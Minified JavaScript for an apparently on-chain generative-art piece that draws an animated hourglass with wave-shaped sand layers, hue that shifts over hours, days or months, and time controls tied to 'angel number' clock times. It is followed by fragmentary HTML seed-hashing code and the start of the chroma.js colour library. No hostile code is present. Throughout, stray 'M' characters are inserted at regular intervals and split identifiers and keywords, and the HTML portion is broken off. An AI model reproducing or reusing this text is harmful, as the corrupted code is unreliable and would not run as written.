2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
